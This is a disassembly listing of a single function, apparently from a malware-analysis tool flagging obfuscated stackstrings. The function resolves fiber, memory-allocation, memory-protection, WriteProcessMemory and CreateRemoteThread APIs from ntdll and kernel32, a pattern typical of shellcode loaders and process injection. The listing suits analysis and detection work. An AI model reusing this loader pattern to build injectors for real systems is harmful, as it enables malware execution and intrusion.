Function at 0x6df9e7ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0xc], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x14], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x18], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x1c], 0
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x20], 0
mov dword [esp], str.ntdll.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov edx, dword [ebp - 0xc]
mov dword [edx], eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
test eax, eax
je 0x6df9e84e
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
test eax, eax
jne 0x6df9e87f
mov dword [esp + 4], str.____Failed_to_load_libraries_
mov dword [esp], 0x6e03f0e0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov dword [esp], 0xffffffff
call sym._exit
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.ConvertThreadToFiber
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.CreateFiber
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0xc], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.NtAllocateVirtualMemory
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.NtProtectVirtualMemory
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x14], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.NtFreeVirtualMemory
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.WriteProcessMemory
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x1c], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], str.CreateRemoteThread
mov dword [esp], edx
mov ecx, eax
call method.Loader.LoadFunction_HINSTANCE____char_const_
sub esp, 8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x20], eax
nop
leave
ret